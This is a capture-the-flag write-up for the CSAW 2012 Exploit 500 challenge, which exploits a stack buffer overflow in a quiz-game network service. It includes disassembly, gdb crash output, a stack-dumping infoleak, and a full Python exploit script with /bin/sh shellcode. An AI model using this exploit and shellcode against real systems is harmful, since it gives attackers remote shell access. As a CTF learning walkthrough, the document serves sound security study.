code hacking, zen coding

CSAW 2012 CTF – Exploit 500 Writeup

Exploit 500 is the final exploitation challenge for CSAW CTF.

It looks like a game asking questions. You get 2 tries per question.

.text:08048CF7 buffer1         = byte ptr -4B4h
.text:08048CF7 buffer2         = byte ptr -438h
.text:08048CF7 answer          = byte ptr -38h
.text:08048CF7 buffer_length   = dword ptr -10h

Buffer1 size is 124 bytes and Buffer2 size is 1024 butes.

.text:08048D21                 mov     eax, [ebp+fd]
.text:08048D24                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048D2C                 mov     dword ptr [esp+8], 7Ch ; n
.text:08048D34                 lea     edx, [ebp+buffer1]
.text:08048D3A                 mov     [esp+4], edx    ; buf
.text:08048D3E                 mov     [esp], eax      ; fd
.text:08048D41                 call    _recv

First read in Buffer1 is 124 bytes, cannot be overflowed

.text:08048DB5                 mov     eax, [ebp+fd]
.text:08048DB8                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048DC0                 mov     dword ptr [esp+8], 400h ; n
.text:08048DC8                 lea     edx, [ebp+buffer2]
.text:08048DCE                 mov     [esp+4], edx    ; buf
.text:08048DD2                 mov     [esp], eax      ; fd
.text:08048DD5                 call    _recv

Second read in Buffer2 is 1024 bytes, cannot be overflowed. No luck so far.

.text:08048DF2                 mov     eax, [ebp+buffer_length]
.text:08048DF5                 shr     eax, 2
.text:08048DF8                 mov     ecx, eax
.text:08048DFA                 lea     eax, [ebp+buffer2]
.text:08048E00                 mov     esi, eax
.text:08048E02                 lea     eax, [ebp+answer]
.text:08048E05                 mov     edi, eax
.text:08048E07                 rep movsd

Interesting, copy buffer2 (1024 bytes maximum) into the answer buffer (40 bytes maximum), this will smack the stack.

Let’s try with a buffer dipper:

$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies   **Answers can have spaces & case insensitive**

WarGames: David was playing ______ at the arcade
Answer: TOTO
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

We get a crash in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30662]
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0xB7FC3FF4  ECX: 0xFFFFFFC8  EDX: 0x00000009  o d I t S z a P c
  ESI: 0xBFFFF2E0  EDI: 0xBFFFF6E0  EBP: 0x39624138  ESP: 0xBFFFF620  EIP: 0x41306341
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x41306341
0x41306341 in ?? ()

Calculate buffer length using the crash EIP:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x41306341                                          
60

Perfect! We can control EIP. Where can we jump now ?

$ eu-readelf -l challenge1b
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00154c 0x00154c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00018c 0x000194 RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x0012c4 0x080492c4 0x080492c4 0x000084 0x000084 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is again RWE like in Exploit 300 and 400!

Our problem is that the answer buffer is quite small, 40 bytes. But buffer2 is gigantic with 1024 bytes. So our strategy will be to do an infoleak to get the offset of our shellcode stored in buffer2.

We will fake parameters pushed on the stack and then call send() to get a dump of the stack layout and locate our shellcode.

Our payload will be as follow:

[TOTO\N][‘A’ * 60][EIP send()][FD][OFFSET][LENGTH][FLAGS][NOP][SHELLCODE]

We will get a stack dump and then we can look for the nopsled into it to locate the start of our shellcode:

WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: ______ was the game Joshua needed to play to learn\n"not to play is the best option".\nAnswer: '
INFOLEAK
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'H\xcb\xfd\xb7\xf4\xef\xff\xb7\xd0\xfa\xff\xb7$\xf1\xff\xbf\xe0\xf0\xff\xbf\xc9~\xfe\xb7\xc0\xf0\xff\xbfl\x83\x04\x08\xa8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\xc8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xf8\x83\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xb5\x83\x04\x08\x00\x00\x00\x00\xa8\x94\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x98_\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\xf4\xef\xff\xb7\x18\xf9\xff\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7H\xcb\xfd\xb7\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7\x00\x00\x00\x00\x8c\x83\x04\x08d\xb0\x04\x08\x00\x00\x00\x00\xbf]\xee\xb7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00AAAA\xf4/\xfd\xb7d\xf1\xff\xbfq\xe5\xf1\xb7\x90\x86\x04\x08\x04\x00\x00\x00\x00\xf0\xff\xbf\xff\x0f\x00\x00@\x00\x00\x001\xc01\xdb1\xc9\xb1\x03\xfe\xc9\xb0?\xb3\x04\xcd\x80u\xf61\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@V\x88\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10|\xf2\xff\xbf\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\xdb\x9d^\x17\x8d\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0009\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00p\xd2\xfe\xb7\x00\x00\x00\x00x\xf2\xff\xbfO\x88\x04\x08\xb0\x8e\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\xd3\xb4\xe4\xb7\x01\x00\x00\x00\x14\xf3\xff\xbf\x1c\xf3\xff\xbfX\xc8\xfd\xb7\x00\x00\x00\x00\x1c\xf3\xff\xbf\x1c\xf3\xff\xbf\x00\x00\x00\x00\x8c\x83\x04\x08\xf4/\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcc\x86\rh\xdc\xa2\x81^\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xa0&\xff\xb7\xe9\xb3\xe4\xb7\xf4\xef\xff\xb7\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xb1\x87\x04\x08D\x88\x04\x08\x01\x00\x00\x00\x14\xf3\xff\xbf\xb0\x8e\x04\x08 \x8f\x04\x08p\xd2\xfe\xb7\x0c\xf3\xff\xbf\x18\xf9\xff\xb7\x01\x00\x00\x00=\xf4\xff\xbf\x00\x00\x00\x00J\xf4\xff\xbfV\xf4\xff\xbff\xf4\xff\xbfq\xf4\xff\xbf\x92\xf9\xff\xbf\xa1\xf9\xff\xbf\xaf\xf9\xff\xbf\xa4\xfe\xff\xbf\xb2\xfe\xff\xbf\xc7\xfe\xff\xbf\x14\xff\xff\xbf*\xff\xff\xbf:\xff\xff\xbfK\xff\xff\xbfS\xff\xff\xbfh\xff\xff\xbfy\xff\xff\xbf\x87\xff\xff\xbf\x90\xff\xff\xbf\xb0\xff\xff\xbf\xbe\xff\xff\xbf\xe0\xff\xff\xbf\x00\x00\x00\x00 \x00\x00\x00\x14\xd4\xfd\xb7!\x00\x00\x00\x00\xd0\xfd\xb7\x10\x00\x00\x00\xff\xfb\xeb\x0f\x06\x00\x00\x00\x00\x10\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x004\x80\x04\x08\x04\x00\x00\x00 \x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00\x07\x00\x00\x00\x00\xe0\xfd\xb7\x08\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x90\x87\x04\x08\x0b\x00\x00\x00\xe9\x03\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\xe9\x03\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x1b\xf4\xff\xbf\x1f\x00\x00\x00\xef\xff\xff\xbf\x0f\x00\x00\x00+\xf4\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\xa9R\xd4C\xf4\xcb\xd9\x04\xdd\x8ds\xb0\xcbRfi686\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00./challenge1\x00TERM=screen\x00SHELL=/bin/bash\x00USER=csaw1\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;3'
Found shellcode at 0xbffff174L

Easy. We can now exploit this by using 0xbffff174 as the EIP in the payload:

len shellcode= 46
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game
'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: The password David used to access the school computers was _____\nAnswer: '
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'key{Something_different_from_strcpy}'

Exploit code:

import socket
import struct
from struct import pack
import time
import sys

host = sys.argv[1]
infoleak = int(sys.argv[2])

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print "len shellcode=", len(shellcode)

# challenge box
esp = 0xbffff174
# local gdb
#esp = 0xbffff234

if infoleak == 1:
  ret = pack("<I", 0x08048780) # _send
else:
  ret = pack("<I", esp)

size = 0xfff
offset = 0xbffff000

ebp = pack("<I", esp)

if infoleak == 0:
  payload = ebp * (60/4) + ret
else:
  payload = 'A' * 60 + ret

payload += pack('L', 0x8048690) # exit

payload += pack('L', 0x4) # fd
payload += pack('L', offset)
payload += pack('L', size) # len
payload += pack('L', 0x40) # flags

payload  += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,12345))

data = s.recv(1024)
print data

s.send("TOTO\n")
time.sleep(1)
s.send(payload)
time.sleep(1)
s.send("\ncat key\n")

data = s.recv(256) # discard

print repr(data)

data = s.recv(len("WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "))

print repr(data)

if infoleak == 0:
  while True:
    stack = s.recv(size)
    print repr(stack)
    if not stack:
      break
  sys.exit(0)

stack = s.recv(size)

print repr(stack)

for i in xrange(0, size - 1):
  if stack[i] == '\x31' and stack[i+1] == '\xc0':
    print "Found shellcode at ", hex(offset + i)
    break

while True:
  data = s.recv(65536)
  print repr(data)
  if not data:
    break
Share